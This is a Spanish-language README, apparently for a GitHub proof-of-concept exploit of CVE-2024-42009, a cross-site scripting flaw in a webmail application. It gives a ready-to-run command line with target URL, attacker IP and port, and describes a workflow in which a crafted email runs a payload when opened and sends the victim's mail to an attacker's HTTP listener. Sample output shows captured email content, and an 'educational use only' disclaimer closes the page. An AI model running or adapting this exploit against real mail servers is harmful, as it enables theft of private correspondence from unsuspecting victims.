CVE-2024-42009 PoC: Listener de Captura de Correo Electrónico y Exploit XSS

Descripción general

Esta Prueba de Concepto (PoC) demuestra un exploit para CVE-2024-42009, aprovechando una vulnerabilidad de cross-site scripting (XSS) para extraer correos electrónicos de una aplicación de webmail objetivo. El ataque inyecta una carga maliciosa que extrae el contenido del correo a un listener controlado por el atacante.

Características

• Explota una vulnerabilidad XSS para capturar el contenido de los correos electrónicos.
• Utiliza un listener HTTP para recibir y decodificar correos extraídos.
• Automatiza la inyección de la carga útil y la exfiltración.

Requisitos

• Python 3.x
• Dependencias requeridas (instalar mediante pip):
  root@kitploit:~

  pip install requests beautifulsoup4
  

Uso

Ejecute el script con los argumentos necesarios:

python exploit.py -fu [email protected] -tu [email protected] -u http://target.com/contact -ip YOUR_IP -p 1337

Parámetros

Flujo de trabajo del ataque

1. Iniciar Listener: El script inicia un servidor HTTP para capturar correos extraídos.
2. Inyectar Carga Maliciosa: La carga útil XSS se envía mediante un correo diseñado.
3. Desencadenar Ejecución: Cuando la víctima abre el correo, la carga útil se ejecuta y envía el contenido del correo al servidor del atacante.
4. Capturar y Decodificar: El contenido del correo extraído se decodifica y se muestra.

Ejemplo de salida

[*] CVE-2024-42009 PoC: Listening on 192.168.1.100:1337...
[*] Sending payload for UID 1...
[+] Payload sent for UID 1 (Status: 200)

[+] Captured Email Content:
Hello, this is a test email!

Aviso legal

No reclamo crédito/propiedad/revelación de la vulnerabilidad ni de todos los exploits correspondientes alojados en este repositorio de GitHub - Todo el crédito es para el investigador que la descubrió; solo creé una PoC para replicar la vulnerabilidad basándome en datos de internet. Esta PoC es solo con fines educativos y de investigación. ¡Las pruebas no autorizadas contra sistemas sin consentimiento son ilegales. Úselo de manera responsable!